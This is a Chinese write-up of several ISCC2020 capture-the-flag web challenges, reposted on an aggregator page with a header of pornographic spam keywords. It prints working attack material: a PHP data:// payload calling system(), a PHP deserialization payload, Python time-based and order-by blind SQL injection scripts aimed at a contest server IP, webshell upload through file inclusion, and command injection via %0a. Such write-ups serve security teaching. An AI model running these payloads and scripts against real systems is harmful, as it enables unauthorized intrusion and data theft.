日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

ISCC2020-Web题解

發布時間:2024/9/30 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 ISCC2020-Web题解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

Where is file?-1

——php偽協議

考察的是php偽協議,可以使用data協議來進行讀取

?file=data:text/plain,<?echo system('ls')?>

阿森的愛情-1

——簽到

掃描一下出一個文件,里面就有flag

Php is the best language

——PHP反序列化、to_string魔法函數的調用

<?php @error_reporting(1); include 'flag.php'; class baby {public $file;function __toString() {if(isset($this->file)){$filename = "./{$this->file}";if (base64_encode(file_get_contents($filename))){return base64_encode(file_get_contents($filename));}}} } if (isset($_GET['data'])) {$data = $_GET['data'];$good = unserialize($data);echo $good; } else {$url='./index.php'; }$html=''; if(isset($_POST['test'])){$s = $_POST['test'];$html.="<p>謝謝參與!</p>"; } ?>

代碼很簡單,就是__toString的調用

<?php class baby {public $file;function __toString() {if(isset($this->file)){$filename = "./{$this->file}";if (base64_encode(file_get_contents($filename))){return base64_encode(file_get_contents($filename));}}} }$a = new baby(); $a->file = 'flag.php'; $a->__tostring(); echo serialize($a);


解碼即可

ISCC成績查詢-2

——繞過token、時間盲注

一開始是一個登陸框,SQL萬能密碼進不去,抓包發現有token驗證,需要進行爆破,雖然沒有成功,但在測試的時候發現有這個頁面

http://101.201.126.95:7007/flag.php

在這個地方卡了很長時間,還是比較菜,因為這個頁面當提交時只回顯一個頁面,知道是時間盲注,當fuzz就很困難

然后做不出來郁悶就去做BUU的一道SQL注入,發現跟這題類似,只不過是過濾了空格,然后嘗試,發現

?name=1'/**/or/**/if(1=1,sleep(5),1)%23


應答的時間恰好就是5秒,找到測試語句了就寫腳本

import requests import string import time import datetimeif __name__ == "__main__":chars=string.ascii_letters+string.digitsurl="http://101.201.126.95:7007/flag.php"#payload="'/**/or/**/if((ascii(substr(database(),{0},1))={1}),sleep(3),1)%23" #pikachu#payload="'/**/or/**/if((ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"#flag#payload="'/**/or/**/if((ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=\"flag\"/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23" #flagpayload="'/**/or/**/if((ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"print("value:")name=''for i in range(1,40):char=''for j in chars:payloads=payload.format(i,ord(j))urls=url+"?name="+payloads+"&submit=%E6%9F%A5%E8%AF%A2"t1=datetime.datetime.now()r=requests.get(url=urls)t2=datetime.datetime.now()sec = (t2 - t1).secondsif sec>=3:name+=jprint(name)char=jbreakif char=='':break

跑腳本就行了

ISCC成績查詢_3

——PHP可逆加密解密算法

這個題沒有上一個題的flag的提示很難做出來的

查看頁面源代碼,發現

百度查到了是PHP可逆加密解密算法

然后直接找到了解密算法
PHP可逆加密解密算法
上一題的flag是flag{sixsixsix},所以這題的key值即為666,解密即可得出

What can images do

——文件上傳+文件包含

上傳進去,然后發現url中含有filename參數文件包含一下

101.201.126.95:7004/?filename=../uploads/2020/05/17/6161445ec149f81f135785570658.jpg&submit=提交


連接成功,讀取flag就行了,題被攪屎了,之前的木馬也被刪了,某大佬將權限給改了。

阿森的愛情-2

——括號被過濾、order by注入

這個題雖然是原題,但感覺能學到知識,很有趣,考察的是order by 排序

拿到題先fuzz一下,看看都過濾了哪些

過濾了括號,所以聯合查詢、盲注不可行了,只能用常規的盲注,查了下發現有到類似的題目
CTF中過濾括號的盲注題小記

可以用union select+order by進行注入,原理就看下博主寫的很詳細的,在burp中先進行測試,最后發現注入點是在username那里,可以先用burp進行爆破然后觀察出規律,然后再寫腳本

腳本如下:

import requestsurl = "http://101.201.126.95:7006/"alist = "0123456789abcdef"payload = "" payload1 = "admin' union select 1,0,'" payload2 = "'order by 3#" datas = {"username":"","password":"123","submit":'enter'} tmp_OK = "" tmp = "" for j in range(0,32):for i in alist:payload = payload1+tmp_OK+i+payload2datas["username"] = payload# print (datas)r = requests.post(url=url,data=datas)# print (r.text)if "admin" in r.text:tmp_OK += tmpprint (tmp_OK)breakif ("0" in r.text) and (i == "f"):tmp_OK += iprint (tmp_OK)tmp = i#username=admin' union select 1,0,'c' order by 3#&password=123&submit=enter

神秘組織的郵件-2

——腳本練習

點擊提交數字會發生改變,因為這次的賽制有一個關聯,通過上一題

得出的flag是加鍵乘除,又提示要聯系起來,就想起了之前做有一道秋名山車神那道題,只不過這個題需要將運算符手動添加,腳本如下:

import requests from bs4 import BeautifulSoup import re import time if __name__ == '__main__':time_start=time.time()url = 'http://101.201.126.95:7010/'headers = {'Cookie': 'PHPSESSID=gi7r1dlq46h0h9j33uphpl23ne'}s =requests.Session()content=s.get(url=url,headers=headers).text# print(content)soup = BeautifulSoup(content,'lxml')li_list = soup.find_all(text=re.compile('\d'))# print(li_list.split(' '))result = [x.strip() for x in li_list if x.strip()!='']# print(result)str = "".join(result)# print(str)a=str.split(' ')numbers = list(map(int, a))print(numbers)payload =numbers[0]+numbers[1]-numbers[2]*numbers[3]/numbers[4]print(payload)data = {'result': payload#得到/IS20CC20abc%$.txt}reponse = requests.post(url=url+"/result.php",data=data,headers=headers).textprint(reponse)time_end=time.time()print('time cost',time_end-time_start,'s')

腳本思路也很簡單,就是利用BeautifulSoup解析出字符串,然后將字符串去除空格再將字符串列表轉換為數字列表,提交參數進行運算即可(一開始url沒有加上result.php,浪費了好長時間)


如果一開始沒跑出來多跑幾次就出來了,訪問一下

然后就是一臉懵逼,我一直以為還有上面的文件,就掃描各種,結果就這:

直接訪問??????????????? 我一萬個問號,這我寫腳本的意義何在。。。。

我按照正常的來試試吧

出不來。。。。。。。。,實在無語,就這吧,當是鍛煉鍛煉腳本能力。

阿帥的愛情

——命令執行

過濾了;,可以使用%0a來代替,測試一下就發現出來了

總結

以上是生活随笔為你收集整理的ISCC2020-Web题解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。